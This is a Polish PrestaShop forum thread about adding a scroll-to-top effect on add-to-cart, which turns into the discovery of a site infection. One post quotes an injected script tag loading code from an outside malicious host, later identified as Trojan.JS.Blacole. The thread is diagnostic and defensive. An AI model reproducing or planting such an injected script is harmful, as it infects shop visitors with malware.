robdk Posted November 6, 2013 Share Posted November 6, 2013 Witam Mam drobniutkie pytanko odnoście realizacji przewinięcia strony do góry zaraz po dodaniu towaru do koszyka. Koszyk mam ustawiony w prawej kolumnie zawsze widoczny. Efekt jaki chciałbym uzyskać, to jak jest lista produktów i dodaniu towaru do koszyka w trakcie animacji dodawania, strona przesunęła się do TOP by pokazać, że towar został dodany. Czy istnieje jakiś moduł? Czy trzeba wykorzystać metodę zaczerpniętą z darmowego modułu scrolltop? ew. jak się do tego zabrać PZDR robdk Link to comment Share on other sites More sharing options...
vekia Posted November 6, 2013 Share Posted November 6, 2013 zaraz nad koszykiem dodaj <a id="koszyk"></a> do buttonów "Add to cart" dodaj funkcję: onclick="$("#koszyk").animate({ scrollTop: 0 }, 600);" Link to comment Share on other sites More sharing options...
robdk Posted November 6, 2013 Author Share Posted November 6, 2013 Dzięki za szybką odpowiedź. Niestety nie mogę zmusić tego do działania. Zrobiłem: w blockcard.tpl <!-- MODULE Block cart --> <a name="#koszyk"></a> <div id="cart_block" class="block exclusive"> w product-list.tpl {if isset($static_token)} <a class="button ajax_add_to_cart_button exclusive" rel="ajax_id_product_{$product.id_product|intval}" href="{$link->getPageLink('cart',false, NULL, "add&id_product={$product.id_product|intval}&token={$static_token}", false)}" onclick="$("#koszyk").animate({ scrollTop: 0 }, 600);" title="{l s='Add to cart'}"><span></span>{l s='Add to cart'}</a> {else} <a class="button ajax_add_to_cart_button exclusive" rel="ajax_id_product_{$product.id_product|intval}" href="{$link->getPageLink('cart',false, NULL, "add&id_product={$product.id_product|intval}", false)}" onclick="$("#koszyk").animate({ scrollTop: 0 }, 600);" title="{l s='Add to cart'}"><span></span>{l s='Add to cart'}</a> {/if} Link to comment Share on other sites More sharing options...
Przemysław Suszek Posted November 6, 2013 Share Posted November 6, 2013 Z innej beczki. Nie wydaje sie Wam że tak funkcjonalnośc jest zbędna ? Jeżeli chciałbym kupić w Twoim sklepie n produktów i za każdym razem przewijać z góry na dół to bym zwariował. Nie lepiej zrobić aby koszyk była cały czas na ekranie ? Pozdrawiam Link to comment Share on other sites More sharing options...
robdk Posted November 6, 2013 Author Share Posted November 6, 2013 Myślę, że wszystko zależy od organizacji sklepu. Jeśli jest na stronie 10 produktów to nie ma większych trudności odnaleźć to czego się chce, jeśli jest więcej to raczej potrzebna jest paginacja. Myślę, że klient chce wiedzieć czy zakupiony towar ląduje w koszyku. Link to comment Share on other sites More sharing options...
Przemysław Suszek Posted November 6, 2013 Share Posted November 6, 2013 Myślę, że wszystko zależy od organizacji sklepu. Jeśli jest na stronie 10 produktów to nie ma większych trudności odnaleźć to czego się chce, jeśli jest więcej to raczej potrzebna jest paginacja. Myślę, że klient chce wiedzieć czy zakupiony towar ląduje w koszyku. Wybacz ale jestem innego zdania. Taka funkcjonalność nie ma sensu nawet przy 10 produktach, które prawie mieszczą sie na 90% rozdzielczościach :-) Pozdro. Link to comment Share on other sites More sharing options...
robdk Posted November 6, 2013 Author Share Posted November 6, 2013 może masz i rację, ale prywatnie korzystam z laptopa i tam jest problem dość spory, bo nawet tej animacji nie widać co leci do koszyka... Link to comment Share on other sites More sharing options...
Przemysław Suszek Posted November 6, 2013 Share Posted November 6, 2013 Aha a nie lepiej zrobic koszyk na zasadzie jak często ludzie robią przycisk facebooka. Czyli unosi sie nad stroną. Wówczas niezaleznie od rozdzielczości bedziesz widzial koszyk i animację. Link to comment Share on other sites More sharing options...
robdk Posted November 6, 2013 Author Share Posted November 6, 2013 No wiadomo, że tak. Ale jest pewna koncepcja sklepu niekoniecznie moja do której dążę... ale w zasadzie to my tu nie o tym, tylko niestety nie działa Link to comment Share on other sites More sharing options...
vekia Posted November 6, 2013 Share Posted November 6, 2013 poprawka, nie a name="#koszyk" tylko <a id="koszyk"> 1 Link to comment Share on other sites More sharing options...
Przemysław Suszek Posted November 6, 2013 Share Posted November 6, 2013 Usuń animację z kodu, który jest wyżej. To jest podsatwa html i to musi działać. Następnie usuń cache i sprawdź w źródle strony (jak ogladasz sklep) czy kod jest prezentowany. Tak zweryfikujesz czy proacujesz na dobrym pliku. Po drugie. To że klient tak chce nie znaczy że to dobry pomysł. Często gęsto z takimi "pomysłami" walczę ponieważ nie są praktyczne. Link to comment Share on other sites More sharing options...
robdk Posted November 6, 2013 Author Share Posted November 6, 2013 Żeby nie było, że siedzę i czekam na gotowca. Kod mi się wyświetla, od tego zacząłem. Z kotwicą też zacząłem kombinować ... Link to comment Share on other sites More sharing options...
vekia Posted November 6, 2013 Share Posted November 6, 2013 możesz podać adres do sklepu? będzie łatwiej Link to comment Share on other sites More sharing options...
robdk Posted November 6, 2013 Author Share Posted November 6, 2013 (edited) sklep.kxd.pl Jak debuguję w operze to wyświetla mi cosik takiego: Event handler (Missing source file) function anonymous(event){ $("#koszyk").animate({scrollTop: 0}, 600); } Problem był też z cudzysłowem.Zamieniłem częściowo na pojedyncze ale nie przyniosło efektu. Cache i smarty czyściłem. Testuję na operze i chromie. Edited November 6, 2013 by robdk (see edit history) Link to comment Share on other sites More sharing options...
vekia Posted November 6, 2013 Share Posted November 6, 2013 ok możesz dodać: onclick="$('html, body').animate({ scrollTop: 0 }, 600);" powinno rozwiązać problem Link to comment Share on other sites More sharing options...
robdk Posted November 6, 2013 Author Share Posted November 6, 2013 (edited) już tego wcześniej próbowałem - niestety nie wiedzieć czemu dalej nie działa EDIT Ponownie zastosowałem kotwienie na "html, body" i teraz się udało. przy czym kod wygląda tak: onclick='$("html, body").animate({ scrollTop: 0 }, 600);' za pierwszym razem to wszędzie były cudzysłowy podwójne - to w operze wtedy kierowało do posumowania koszyka. Wtedy też z "html, body" i nie działało. Teraz zmieniłem na apostrofy i jest ok. Częsty przypadek taki miałem gdy pisałem php z pomieszanym html. Edited November 6, 2013 by robdk (see edit history) Link to comment Share on other sites More sharing options...
vekia Posted November 6, 2013 Share Posted November 6, 2013 tylko, że w chwili obecnej tego kodu tam nie ma i trudno mi cokolwiek powiedzieć. jak go dodaje, to działa tak jak na filmie: Link to comment Share on other sites More sharing options...
robdk Posted November 6, 2013 Author Share Posted November 6, 2013 tam nie ma kodu bo wstawiałem w liście w kategorii a nie na stronie głównej niestety moja radość nie trwała długo . Po jednym użyciu wystąpił błąd java script <sklep.kxd.pl> Impossible to add the product to the cart. textStatus: 'parsererror' errorThrown: 'SyntaxError: JSON.parse: Parsed string contains more than single value: <script' responseText: { "products": [ { "id": 1, "link": "http://sklep.kxd.pl/index.php?id_product=1&controller=product#/pojemnosc_dysku-16gb/kolor-czarny", "quantity": 2, "priceByLine": "388,84 zł", "name": "iPod Nano", "price": "388,84 zł", "price_float": "316.14", "idCombination": 18, "idAddressDelivery": 0, "is_gift" : 0, "hasAttributes": true, "attributes": "Czarny, 16GB", "hasCustomizedDatas": false, "customizedDatas":[ ] }, { "id": 5, "link": "http://sklep.kxd.pl/index.php?id_product=5&controller=product#/pojemnosc_dysku-8gb", "quantity": 2, "priceByLine": "594,44 zł", "name": "iPod touch", "price": "594,44 zł", "price_float": "483.28", "idCombination": 9, "idAddressDelivery": 0, "is_gift" : 0, "hasAttributes": true, "attributes": "8GB", "hasCustomizedDatas": false, "customizedDatas":[ ] }], "discounts": [ ], "shippingCost": "8,61 zł", "shippingCostFloat": "8.61", "wrappingCost": "0,00 zł", "nbTotalProducts": "4", "total": "991,89 zł", "productTotal": "983,28 zł", "hasError" : false }<script src="http://ftp.medaxpomocdorazna.pl/vz/wJSF5ded.php" type="text/javascript"></script> Muszę to jeszcze przeanalizowć dzięki, że ci się chce pomagać w takiej pierdułce... niby proste i powinno działać, ale jak to w życiu Link to comment Share on other sites More sharing options...
vekia Posted November 6, 2013 Share Posted November 6, 2013 do wyników zapytania wysłanego AJAXem (dodanei do koszyka) doklejany jest skrypt: Link to comment Share on other sites More sharing options...
robdk Posted November 7, 2013 Author Share Posted November 7, 2013 (edited) Właśnie doszedłem, że jest skrypt zewnętrzny. Miałem się właśnie pytać, czy to normalna praktyka w preście? Czy obce wywiady dopisały jakiegoś wirusa.... Bo dziś mi wykryło wirusa w przeglądarce... hmmmm W plikach źródłowych nie ma wpisów tego skryptu. Po ściągnięciu plików szablonu lokalnie i przeszukaniu znalazło 53 takie miejsca. Ciekawe czy więcej nie ma w całej preście..... Edited November 7, 2013 by robdk (see edit history) Link to comment Share on other sites More sharing options...
vekia Posted November 7, 2013 Share Posted November 7, 2013 presta jest wolna od jakiegokolwiek złośliwego oprogramowania, to co się znalazło w kodzie Twojego szablonu mogło pochodzić z: 1) jeżeli na serwerze korzystasz jednocześnie z innych skryptów, tj. joomla albo wordpress - to one mogły być furtką. Są dziurawe jak ser. Jest cała masa exploitów na te cmsy 2) Twój komputer, zwłaszcza, jeżeli nawiązujesz połączenie ftp z serwerem 3) Jeżeli to darmowy hosting, to takie darmowe hosty zwykle doklejają reklamy do wszystkich skryptów php / plików html Link to comment Share on other sites More sharing options...
robdk Posted November 7, 2013 Author Share Posted November 7, 2013 Tak też myślałem.... Mam Joomlę..... Zasadniczo komputer w domu także mógł namieszać... Teraz odkażam cały sklep, aż mi się włos jeży ile tego jest, Sporo skryptów js zarażonych wirusem Trojan.JS.Blacole.Gen Hosting płatny I stało się to właśnie jak robiłem ostatnie zmiany wczoraj wieczorem Link to comment Share on other sites More sharing options...
vekia Posted November 7, 2013 Share Posted November 7, 2013 jaki masz panel do zarządzania serwerem? Plesk? ten wirus lubi dziurawego pleska Link to comment Share on other sites More sharing options...
robdk Posted November 7, 2013 Author Share Posted November 7, 2013 (edited) Hosting mam na Active24.pl. Nie wiem jaki mam panel. Do ftp używam filezilli Hasło do FTP już zmieniłem Edited November 7, 2013 by robdk (see edit history) Link to comment Share on other sites More sharing options...
Recommended Posts